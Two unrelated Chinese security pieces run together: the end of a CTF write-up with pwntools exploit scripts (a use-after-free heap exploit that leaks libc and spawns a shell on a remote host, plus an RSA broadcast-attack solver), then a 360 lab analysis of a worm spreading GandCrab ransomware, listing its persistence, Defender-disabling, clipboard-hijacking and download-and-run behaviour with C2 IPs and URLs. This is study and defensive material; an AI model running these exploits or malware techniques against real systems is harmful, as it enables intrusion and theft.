ru("> ")
sl("a"*0x30)
ru("> > ")
sl("vim 1")
ru("> ")
sl("aaa"+p64(one_gg))
ru("> ")
sl("vim 2")
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
### 魔法学院
题目基本信息：保护只开启了NX和canary，`ubuntu16.04`上的64位`PWN`
radish ➜ pwn3 file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f5509bf1f16f14926887f9f792ac47b65fb87dff, stripped
radish ➜ pwn3 checksec --file pwn
[*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn3/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
radish ➜ pwn3
在IDA里面分析程序，发现和之前做过的一个题非常的相似`攻防世界-hacknote`，只不过是32位变成64位程序，利用方法都是一样的
审计程序发现存在UAF漏洞
程序中的主要结构体：
struct magic{
char *put_text_fun_addr;
char *text_addr;
}
攻击流程:
* 首先申请两个text大小为0x20字节的magic
* 依此释放掉note0、note1
* 再申请一个text大小为8字节的note，此时note0的结构体就被覆盖
* leak 真实地址
* getshell
exp:
from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '59.110.243.101'
prot = '54621'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def add(chunk_size,value):
ru('Your choice :')
sl('1')
ru('magic cost ?:')
sl(str(chunk_size))
ru('name :')
sl(value)
def delete(index):
ru('Your choice :')
sl('2')
ru('index :')
sl(str(index))
def show(index):
ru('Your choice :')
sl('3')
ru('index :')
sl(str(index))
def debug():
gdb.attach(r)
raw_input()
add(0x20,"/bin/shx00")#0
add(0x20,"/bin/shx00")#1
delete(0)#0
delete(1)#1
puts_got = file.got['puts']
li("puts_got ", puts_got)
# puts_got = file.got['puts']
# li("puts_got ", puts_got)
puts = 0x400886
pay = p64(puts_got)+p64(puts)
add(0x10,pay)#2
# gdb.attach(r)
show(0)
puts_addr = u64(rud("n")+"x00x00")
li("puts_addr ", puts_addr)
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
li("base_addr",base_addr)
delete(2)
pay = "/bin/shx00"+p64(system_addr)
add(0x10,pay)#2
show(0)
ri()
## misc
### 九宫格
题目提供了576个二维码，经过测试发现扫出来的是`zero`和`one`，也就是0和1，利用工具批量扫一下，得到二进制字符串
010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001
然后进行转16进制发现是一串已经加密后的字符串
aaa = "010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001"
flag = ""
for x in range(0,len(aaa),8):
flag += chr(eval("0b"+aaa[x:x+8]))
# print base64.b64decode(flag)
print flag
#U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa
然后观察题目描述：在九宫格内把1-9数字填入，使其横加竖加斜加都为15，将对角线的数字排列组合从打到小的顺序为本题的重要信息
百度一番得到: 对角线排序之后是245568,猜测这个是秘钥
8 1 6
3 5 7
4 9 2
一个一个的试就完事了，AES、DES等等，最后发现是Rabbit加密
[解密网站](https://www.sojson.com/encrypt_rabbit.html)
### key
题目提供了两个图片，但是第一张在mac上无法显示，在win上可以，所以认为是修改了高度，在010editor修改高度
发现多出来一串字符,提取出来
295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656
解密一番无果
然后看第二张图片，在010editor可以看出来里面含有flag.txt文件，所以猜测是压缩包
通过改后缀名字为rar即可，但是有密码
密码肯定和第一张图片中的字符串有关
最后在`https://www.cnblogs.com/kagari/p/10833116.html`这里看到了差分曼彻斯特编码，然后尝试解了一下，谁曾想，真的是这个加密！！！
aaa = "295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656"
enc = ""
for x in range(0,len(aaa),2):
enc+=str(bin(eval("0x"+aaa[x:x+2])))[2:].rjust(8,"0")
print enc
s = "1110100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110"
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += '1'
else:
r += '0'
print hex(int(r,2))[2:-1].decode('hex')
>
> 需要注意的是，十六进制转成二进制后需要，每一个都要填充成8位长度，第一个字符的前两位需要从`00`改成`11`（10，01，11，00）都试一遍，不进行这个操作的话，解出来的第一个字符不在ASCii范围内
radish ➜ key_123 python test.py
0010100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110
Sakura_Love_Strawberry
radish ➜ key_123
最终解出来是`Sakura_Love_Strawberry`，用这个来解压刚刚的压缩包即可获取到flag
## Reverse
### tree
Win32 PE 逆向
放入IDA分析，main函数如下所示：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+1Dh] [ebp-33h]
bool v5; // [esp+48h] [ebp-8h]
int v6; // [esp+4Ch] [ebp-4h]
__main();
init();
puts(aInputYourFlag);
scanf("%43s", &v4);
v6 = chkflag(&v4);
v5 = parse(root);
if ( v6 || v5 != 1 )
puts("No no no~~");
else
puts("Congratulations!");
return 0;
}
在init中初始化了全局变量root，经调试，在内存中如图所示
深颜色的就是初始化过的root，可以明显的看出来这是一组地址
然后程序让输入43位flag，进入chkflag里面第一次检查flag格式
signed int __cdecl chkflag(char *a1)
{
size_t v2; // ebx
char v3[4]; // [esp+1Dh] [ebp-3Bh]
size_t i; // [esp+48h] [ebp-10h]
int v5; // [esp+4Ch] [ebp-Ch]
strcpy(v3, "flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}");
v5 = -1;
for ( i = 0; ; ++i )
{
v2 = i;
if ( v2 >= strlen(v3) )
break;
if ( v3[i] == 'x' )
{
++v5;
switch ( a1[i] )
{
case '0':
glockflag[4 * v5] = '0';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = '0';
glockflag[4 * v5 + 3] = '0';
break;
case '1':
glockflag[4 * v5] = '0';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = '1';
break;
case '2':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case '3':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case '4':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case '5':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case '6':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case '7':
glockflag[4 * v5] = 48;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case '8':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case '9':
glockflag[4 * v5] = '1';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case 'a':
glockflag[4 * v5] = '1';
glockflag[4 * v5 + 1] = '0';
glockflag[4 * v5 + 2] = '1';
glockflag[4 * v5 + 3] = '0';
break;
case 'b':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 48;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
case 'c':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 48;
break;
case 'd':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 48;
glockflag[4 * v5 + 3] = 49;
break;
case 'e':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 48;
break;
case 'f':
glockflag[4 * v5] = 49;
glockflag[4 * v5 + 1] = 49;
glockflag[4 * v5 + 2] = 49;
glockflag[4 * v5 + 3] = 49;
break;
default:
return -1;
}
}
else if ( a1[i] != v3[i] )
{
return -1;
}
}
return 0;
}
格式限制为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}，其中x代表字符，范围在0~f内,不同的字符定义了不同的规则，glockflag是规则所存的地址，每四个数为一组，根据我们输入的flag然后初始化glockflag全局变量
然后进入到parse函数进行第二次检查，参数为root，root此时已经初始化完毕
bool __cdecl parse(int a1)
{
char v2[60]; // [esp+18h] [ebp-50h]
int v3; // [esp+54h] [ebp-14h]
int v4; // [esp+58h] [ebp-10h]
int v5; // [esp+5Ch] [ebp-Ch]
v5 = 0;
v4 = 0;
v3 = a1;
do
{
if ( glockflag[v5] == '0' )
{
v3 = *(v3 + 0xC);
}
else if ( glockflag[v5] == '1' )
{
v3 = *(v3 + 0x10);
}
++v5;
if ( *v3 > 0x60 && *v3 <= 0x7A )
{
v2[v4++] = *v3;
v3 = a1;
}
}
while ( v5 <= 127 );
v2[v4] = 0;
return strncmp("zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx", v2, 33u) == 0;
}
每四个数一组，根据glockflag来让v3也就是root来嵌套寻找字符，如果是地址的话就继续根据规则来找，如果根据地址嵌套找到的是a b c d e f
g h i j k l m n o p q r s t u v w x
y,就直接复制给v2，v2到最后会和密文进行比较，也就是zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx,这些字符在一下内存保存着
以第一个字符z来具体写一下思路：
z所在的地址是0x4062d8
在全局变量root中找到这个地址在0x406464，我们知道找Z的话是通过偏移0xC或者或者0x16，所以一组地址5个4字节数据
当前的是可以看到偏移是0xc，所以对应的是0
然后接着找0x406458，存这个地址的是在0x4064e0,所在的组地址是0x4064d0,对应的偏移是0x10,所以对应的是1
接着找0x4064d0，所在的组地址是0x406518，偏移是0xc，对应的是0
接着找0x406518，所在的组地址在0x406530,偏移是0x10，对应的是1
所以如果要找到Z的话，规则应该是1010（刚刚照的倒叙），然后再看chkflag函数中定义规则，如果我们输入的字符是a的话，就会把规则初始化城1010
然后flag中的第一个x就是a了，根据以上的原则一位一位的反推就可以把flag推出来了
> 当然还可以用二叉树的方法来解这道题
## Crypto
### RUA
题目附件如下所示：文件名就是rsa
密文
8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696
n
18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393
密文
17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956
n
21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883
密文
5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607
n
22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789
所以很明显是rsa广播攻击,一把梭即可
exp:
# coding:utf8
from struct import pack, unpack
import zlib
import gmpy
def my_parse_number(number):
string = "%x" % number
#if len(string) != 64:
# return ""
erg = []
while string != '':
erg = erg + [chr(int(string[:2], 16))]
string = string[2:]
return ''.join(erg)
def extended_gcd(a, b):
x,y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a,b)
x, lastx = lastx-q*x, x
y, lasty = lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N = 1
for a, n in items:
N *= n
result = 0
for a, n in items:
m = N/n
r, s, d = extended_gcd(n, m)
if d != 1:
N=N/n
continue
#raise "Input not pairwise co-prime"
result += a*s*m
return result % N, N
'''
c1 = m**e mod n1
c2 = m**e mod n2
c3 = m**e mod n3
... ...
'''
sessions=[{"c":8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696,"e":17,"n":18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393},{"c":
17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956,"e":17,"n":21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883},{"c":5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607,"e":17,"n":22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789}]
data = []
for session in sessions:
e=session['e']
n=session['n']
msg=session['c']
data += [(msg, n)]
print "Please wait, performing CRT"
x, n = chinese_remainder_theorem(data)
e=session['e']
realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))
## 总结
这次比赛收获还是挺大的，继续冲冲冲！！！ | 社区文章 |
# GandCrab传播新动向——五毒俱全的蠕虫病毒技术分析V1.1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近日，360终端安全实验室监控到GandCrab勒索病毒有了新动向，和以往相比本次GandCrab传播量有了明显的波动，我们分析了背后原因，发现此次波动是由一种近年较常见的蠕虫病毒引起的，该蠕虫病毒主要通过U盘和压缩文件传播，一直活跃在包括局域网在内的众多终端上。该蠕虫病毒构成的僵尸网络，过去主要传播远控、窃密、挖矿等木马病毒，而现在开始投递GandCrab勒索病毒。由于该病毒感染主机众多，影响较广，因而造成了这次GandCrab的传播波动。在此特提醒大家注意保护好您的数据，当心被勒索病毒袭击从而遭受不可挽回的损失。
我们对该蠕虫病毒的最新变种进行了深入分析。病毒的母体和以往相比没有太大变化，其主要特别之处在于其投递的病毒种类有了新变化，除了新增投递GandCrab勒索病毒外，还发现该病毒的初次投放方式，也即病毒制作者是怎么投放病毒的。一般病毒的初次投放方式包括挂马、捆绑下载、邮件附件、租用僵尸网络、漏洞利用等，而这次该病毒使用了邮件附件作为其初次投放传播的手段之一。
下面首先就其主要技术特点概括如下：
* 病毒代码具有风格统一的混淆方式，通过内存解密PE并加载执行来绕过杀软的静态扫描查杀，病毒的母体具有一定反沙箱反分析能力；
* 具备多种传播方式，包括投递恶意邮件、感染Web/FTP服务器目录、U盘/网络磁盘传播、感染压缩文件等；
* 窃取多种虚拟货币钱包，包括：Exodus、JAXX、MultiBit HD、Monero、Electrum、Electrum-LTC、BitcoinCore等多种货币钱包；
* 通过劫持Windows剪贴板，替换多种主流虚拟货币钱包地址，包括：BTC、ETH、LTC、XMR、XRP、ZEC、DASH、DOGE等币种；
* 窃取邮箱账号、Web网站登录账号、WinSCP凭据、Steam游戏平台账号、以及多种即时通讯软件聊天记录；
* 下载传播多种病毒，包括勒索、窃密、挖矿、母体传播模块等，其母体内嵌的下载链接主要固定为5种，正好印证了“五毒俱全”的特点；
## 病毒攻击流程
## 病毒详细分析
### 母体DownLoader分析
探测虚拟机/沙箱运行环境
病毒母体是一个DownLoader，运行时通过遍历进程以及检查加载的模块来探测运行环境是否是虚拟机或沙箱环境，其中特别针对python进程进行了检查（沙箱常用），还通过检查加载的DLL模块来检测sandboxie或sysanalyzer：
### 持久化设置
病毒会将自身拷贝至windows\自建目录\winsvcs32.exe，并创建注册表开机启动项实现持久化运行：
拷贝并重命名为winsvc32.exe
创建注册表开机启动项
删除自身的Zone.Identifier NTFS Stream避免运行时出现风险提示
### 添加防火墙例外以及关闭Windows Defender实时防护等功能
防火墙以及Windows Defender相关设置
### 通过可移动磁盘/网络磁盘进行AUTORUN传播
针对网络磁盘以及可移动磁盘
在U盘根目录创建”_”目录以及将自身拷贝并重命名为DeviceManager.exe
创建指向病毒母体的lnk文件
Lnk文件内容
被感染后的U盘以及AutoRun.inf截图
### 通过感染压缩包进行传播
判断%appdata%\winsvcs.txt是否存在，不存在则创建该文件，该文件起到一个开关作用，用来判断是否对压缩文件进行感染：
将自身拷贝至%TEMP%目录，并重命名为“Windows Archive Manager.exe”：
遍历本地磁盘中的压缩文件，将病毒本体添加到压缩文件，受感染的压缩类型包括zip、rar、7z、tar：
这部分代码功能还不太完善，经过测试，压缩格式只支持zip、rar，7z和tar格式的支持有Bug，感染后会破坏原有格式：
### 替换FTP/WEB服务器目录下的EXE文件进行传播
遍历磁盘文件，判断EXE文件所在路径是否包含如下FTP/WEB服务器目录：
如果满足条件，则把目录下的EXE文件替换成病毒自身文件：
### 监控系统剪贴板，劫持替换虚拟货币钱包地址
监控剪贴板，如果发现有预期的虚拟货币钱包地址，则进行替换，影响的币种包括：
Btc、eth、ltc、xmr、xrp、zec、dash、doge等。
判断各类货币钱包地址特征
劫持监控剪贴板
### 通过内置C2下载多个恶意模块
母体内嵌了3个C2服务器以及多个混淆的DNS备用地址用于下载传播其他病毒程序（这些DNS暂时无效，但如果前面3个IP被封或失效，可通过启用这些备用DNS来达到切换C2的目的）:
将下列5个文件名与上述ULR链接拼接成完整下载链接：
此处5个恶意链接用来下载传播其他病毒，可谓“五毒俱全”。
下载的多个恶意模块保存在%TEMP%目录下并随机命名，然后删除对应的Zone.Identifier避免运行时出现风险提示：
下载成功后创建进程执行该文件：
此次分析时下载的恶意模块包括：传播模块、2个勒索病毒Downloader、窃密模块、挖矿模块（具体推送某类恶意程序随时间以及C2服务器而定）
## 挖矿模块分析
### 内存解密PE加载执行
挖矿模块与病毒母体采用了类似代码混淆方式，通过内存解密PE并加载执行：
解密配置文件URL地址、以及矿池地址等数据
内存映射NTDLL模块，获取所需API，绕过R3 Hook
通过<http://92.63.197.60/newup.txt>获取挖矿配置相关数据
分析调试时，上述链接已失效：
解析配置数据，包含钱包地址、挖矿端口等配置信息
构造xmrig Config配置文件
根据前面获取到的钱包地址等信息，构造config文件，并进行base64编码保存。
配置文件格式化
Base64解码后的配置文件（由于url失效，无法获取有效钱包地址）
### 持久化设置
拷贝自身至“ProgramData\GCxcrhlcfj”目录，并创建r.vbs脚本：
通过VBS脚本，在start menu下生成url快捷方式，指向样本自身：
调用wscript执行：
Url快捷方式负责启动挖矿病毒：
### 解密内嵌的xmrig程序，借壳系统程序作为傀儡进程挖矿
挂起方式启动wuapp.exe，其命令行参数为挖矿配置文件：
解密xmrig：
解密xmrig
内存解密出的PE为XMRig 2.8.1版本：
在傀儡进程注入代码:
傀儡进程注入
### 监控TaskMgr.exe
为了隐蔽自身，样本会实时遍历系统进程检查是否有任务管理器进程存在，如果发现则杀掉挖矿进程：
杀进程代码
## 窃密模块分析
该窃密木马为Delphi编写，窃密内容主要包括即时通讯软件聊天记录、浏览器历史记录、WinSCP凭据、Steam账号、虚拟货币钱包、邮箱、屏幕截图等。
样本尝试与C2服务器通讯拉取配置信息（服务器已失效）
相关窃密功能代码结构：
涉及的虚拟货币钱包：
Exodus 、JAXX、MultiBit HD
Monero
Electrum、Electrum-LTC、BitcoinCore
即时通讯软件：
Skype聊天记录等数据
Pidgin、PSI、TeleGram
WinSCP：
Outlook邮箱：
Steam账号相关：
窃取浏览器的历史记录、Cookie等信息（主要针对火狐浏览器）：
火狐浏览器sqlite数据库
## 勒索模块分析
由母体下载的2个勒索模块是做了静态免杀的DownLoader，其中一个针对“中国”地区，而另一个针对“越南”以及“中国”地区投放GandCrab勒索病毒。以下是针对“中国”和“越南”地区的下载逻辑相关代码，另一个只针对“中国”类似，此处不重复分析。
地区列表
通过访问<http://92.63.197.48/geo.php>
从服务器拉取地区代码列表，然后与”CN”以及”VN”相比较，如果满足这两个地区，则开始下载GandCrab勒索病毒：
比较地区列表
通过C2下载GandCrab母体并执行
下载的GandCrab母体为5.0.4版本，与常见的版本无差异，这里不再做重复分析：
## 传播模块分析
传播模块依旧做了静态免杀处理，以及设置持久化运行，并通过SMTP协议发送携带恶意附件的邮件进行传播，邮件附件为带有恶意JS脚本的压缩包，该恶意脚本最终通过Powershell远程下载并执行本次蠕虫母体DownLoader。
### 持久化设置
拷贝自身到windows\自建目录下，并重命名为wincfgrmgr32：
通过注册表设置自身为开机启动：
通过aol.com获取邮箱服务器地址并测试连通性
邮箱服务器：mx-aol.mail.gm0.yahoodns.net
### 下载并打包JS DownLoader脚本
通过C2：<http://ssofhoseuegsgrfnu.ru/m/get.js> 下载恶意js脚本，该JS是一个
DownLoader，保存在TEMP目录随机文件名.jpg
连接服务器下载js文件
经过混淆处理的js代码
接着将js脚本文件压缩成zip格式：
然后将js文件压缩包进行base64编码并保存在\%TEMP%\随机文件名.jpg：
BASE64编码
### 通过SMTP协议随机发送恶意邮件
通过C2（<http://ssofhoseuegsgrfnu.ru/m/xxx.txt>）获取目标邮箱列表：
随机读取该邮箱列表文件，取出邮箱地址，通过SMTP协议发送恶意邮件，其邮件附件会携带前面压缩好的JS脚本的压缩包：
通过SMTP发送恶意邮件
### 执行恶意JS脚本
当恶意js脚本在受害者的终端上运行后，js脚本会通过Powershell下载并执行此次蠕虫母体：
进程链信息
## 相关IOCs
### MD5：
c30f72528bb6ab5aab25b33036973b07
48087776645fd9709f09828be7e42f8f
fa940342c3903f54c452a8a2483b1235
24275604649ac0abafe99b981b914fbc
a13d3aef725832752be1605e50b6f7e0
574c8a27fc79939ca1343ccb2722b74f
dfd5be2aeabc2a79c1e64e0b3a6dac73
64e0e23cdec4358354628195ec81a745
### C&C：
92.63.197.60
92.63.197.48
92.63.197.112
92.63.197.60:9090
### URLs：
hxxp:// 92.63.197.48/t.exe
hxxp:// 92.63.197.48/m.exe
hxxp:// 92.63.197.48/p.exe
hxxp:// 92.63.197.48/s.exe
hxxp:// 92.63.197.48/o.exe
<hxxp://ssofhoseuegsgrfnu.ru/m/xxx.txt>
<hxxp://ssofhoseuegsgrfnu.ru/m/get.js>
<hxxp://92.63.197.48/geo.php>
<hxxp://92.63.197.60/newup.txt>
<hxxp://92.63.197.48/index.php>
### WalletAddr：
1LdFFaJiM7R5f9WhUEskVCaVokVtHPHxL5
28VcfDWthf987aBo6ddyGuYnMkwtWo6bBe4j7Q87pDYxEEGZzHseUMvFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qVBups
XfPoiH5ShPQdXC3Kc39XzCaB84eL1w53oA
DPngr3jnAGgKY45vQpt4NmYt3jQCP2smrW
0xa9b717e03cf8f2d792bff807588e50dcea9d0b1c
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrqWkGbn7jMQVGL3aA
LPuhyFoFggYkXwkkmDbnA19hu1wzuJggHJ
rBkCLqPgHiKt6Hdddnjq27ECehHqCcCHTD
t1aGAy8CBERajaMAKdzddp3WttD5Czji55S
## 总结及安全建议
通过分析我们可以看到，本次的蠕虫病毒开始传播勒索病毒GandCrab，而且主要针对的是中国和越南地区，病毒扩散渠道从邮件附件到U盘传播等，覆盖范围比起单纯的某一种传播方式要大不少，同时这背后是否也含有病毒传播者认为国人的安全防范意识不够也未可定，总之本次的传播新动向值得引起国人的高度警惕。
针对本次的病毒技术特点以及结合以往的病毒传播方式，我们给出以下安全建议：
* 不要打开来历不明的邮件附件
* 在Windows中禁用U盘的“自动运行”功能
* 打齐操作系统安全补丁，及时升级Web、数据库等服务程序，防止病毒利用漏洞传播
* 避免使用弱口令，采用复杂密码，设置登录失败次数限制，防止暴力破解攻击
* 安装杀毒软件，定期扫描电脑，及时升级更新病毒库保持杀毒软件的良好运行
* 提高安全意识，保持良好的上网习惯，重要数据做好备份
### 关于360终端安全实验室
360终端安全实验室由多名经验丰富的恶意代码研究专家组成，重点着力于常见病毒、木马、蠕虫、勒索软件等恶意代码的原理分析和研究，致力为中国政企客户提供快速的恶意代码预警和处置服务，在曾经流行的WannaCry、Petya、Bad
Rabbit的恶意代码处置过程中表现优异，受到政企客户的广泛好评。
依托360在互联网为13亿用户提供终端安全防护的经验积累，360终端安全实验室以360天擎新一代终端安全管理系统为依托，为客户提供简单有效的终端安全管理理念、完整的终端解决方案和定制化的安全服务，帮助广大政企客户解决内网安全与管理问题，保障政企终端安全。
